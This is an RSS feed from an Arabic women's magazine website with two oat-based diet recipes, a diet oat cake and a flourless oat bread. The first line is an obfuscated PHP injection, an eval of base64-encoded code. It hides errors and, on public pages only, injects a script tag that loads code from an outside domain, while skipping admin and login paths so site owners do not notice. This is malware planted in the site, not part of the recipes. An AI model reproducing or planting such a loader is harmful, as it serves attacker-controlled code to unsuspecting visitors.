eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | بالشوفان https://jouzal.com مجلة نسائية عربية Wed, 11 Jan 2023 17:20:13 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | بالشوفان https://jouzal.com 32 32 كيك دايت بالشوفان https://jouzal.com/%d9%83%d9%8a%d9%83-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%b4%d9%88%d9%81%d8%a7%d9%86/ Tue, 29 Dec 2020 20:58:31 +0000 https://jouzal.com/%d9%83%d9%8a%d9%83-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%b4%d9%88%d9%81%d8%a7%d9%86/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

كيك دايت بالشوفان


<!–

–>

مطبخ سيدتي

Mon, 21 Dec 2020 00:00:00 GMT
Mon, 21 Dec 2020 07:40:01 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

كيك دايت بالشوفان


كيك دايت بالشوفان … أعدي مع مطبخ سيدتي، أطيب الحلويات الخفيفة المناسبة للدايت، وصفات&nbsp;كيكات شهية ولذيذة ومعدّة بعناية، جربيها الآن

شاهدي:&nbsp; كرات الشوفان بجوز الهند للدايت بالفيديو

المقادير

الزيت النباتي :
نصف كوب

السكر البني :
كوب

البيض :
2 حبة

الشوفان :
2 كوب

جوز الهند :
ربع كوب

دقيق :
كوب

بيكنج بودر :
ملعقة صغيرة

حليب :
كوب وربع

الفانيليا :
ملعقة صغيرة

القرفة :
ملعقة صغيرة

الزنجبيل :
ملعقة صغيرة

القرنفل :
ملعقة صغيرة

ملح :
رشّة

دبس التمر :
2 ملعقة كبيرة

طريقة التحضير

يوضع الشوفان في وعاء عميق ثمَّ نسخن الحليب ونسكبه فوق الشوفان ثم نضيف القرفة والزنجبيل والقرنفل وجوز الهند إلى الشوفان والحليب.
نقوم بوضع الزيت والسكر في وعاء آخر مع إضافة البيض والفانيلا إلى الزيت والسكر وخفقها سوياً.
يخلط الدقيق مع البيكنج باودر والملح وإضافة الدقيق إلى مزيج البيض ثمَّ إضافة خليط الشوفان وخلطها جميعا ثمّ سكبها في القالب المخصص للكيك.
يخبز القالب في الفرن على درجة حرارة 180 مئوية، لمدّة 20 - 30 دقيقة ثم ندهن الكيك وهو ساخن بدبس التمر.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> طريقة عمل الخبز المشبع بالشوفان في المنزل علي طريقة سالي فؤاد https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d8%a7%d9%84%d8%ae%d8%a8%d8%b2-%d8%a7%d9%84%d9%85%d8%b4%d8%a8%d8%b9-%d8%a8%d8%a7%d9%84%d8%b4%d9%88%d9%81%d8%a7%d9%86-%d9%81%d9%8a-%d8%a7%d9%84%d9%85/ Sun, 01 Sep 2019 02:58:27 +0000 https://jouzal.com/?p=3101 طريقة عمل الخبز المشبع بالشوفان في المنزل علي طريقة سالي فؤاد ، يمكنك تحضير شرائح الخبز المشبعة بالمنزل بطريقة اقتصادية تماما و موفرة بالاضافة إلى انها مضمونة.

و ذلك باضافة الحبوب المشبعة معا و هي صحية تماما، ثم فرمها و عجنها لتتكون عجينة قابلة للتشكيل على هيئة شرائح.

و الجدير بالذكر أن هذه الطريقة لا تعتمد ابدا على الدقيق و هي الطريقة الاصلية و التى تعتمد اكثر على مطحون الشوفان لما له من قدرة على الاشباع و ملئ المعدة و فوائد صحية متعددة.

المقادير

  • كوبين شوفان مطحون.
  • كوب ترمس مسلوق ومطحون ناعم بقشره وممكن اي بقوليات.
  • نصف كوب من بذرة الكتان.
  • نصف كوب رده او نخاله الشوفان او جنين القمح
  • ملعقه لبن بودره كبيره
  • ربع كوب زيت اي نوع
  • ملعقه صغيره خميره
  • معلقه صغيره عسل ابيض
  • ملح
  • كمون
  • كسبره جافة (اختياري)
  • ملعقه كبيره سمسم
  • حبة البركه (اختياري لفوائدها و طعمها المميز)
  • نصف كوب لوز مطحون بقشره او سوداني او عين جمل
  • ربع كوب مياه دافئة
  • بيضة

قد يهمك: رجيم شوربة الكرنب يخسسك 4 كيلو فى 10 أيام

تابع ايضا: رجيم الإنقاذ السريع لخسارة 10 كيلو في أسبوعين فقط سالي فؤاد

طريقة التحضير

  • توضع كل المكونات في وعاء عميق معا و تعجن جيدا حتى تصبح متماسكة و هشه بعض الشئ.
  • تفرد العجينة بسمك رفيع و تقطع على الشكل المفضل بالنسبة لكى.
  • تدخل فرن على نار اقل من المتوسط حتى تحمص ثم تخرج و بذلك تكون جاهزة للتقديم.

هذا الخبز مفيد صحيا سواء كنت تتبع نظام غذائى للتخسيس او مجرد نظام صحى للاهتمام بلياقتك البدنية، وذلك بسبب مكوناته السحرية التى يعتبر كل مكون منها موسوعه كاملة من الفوائد كما يمكنك تقديمه مع الوجبات المختلفة.

]]>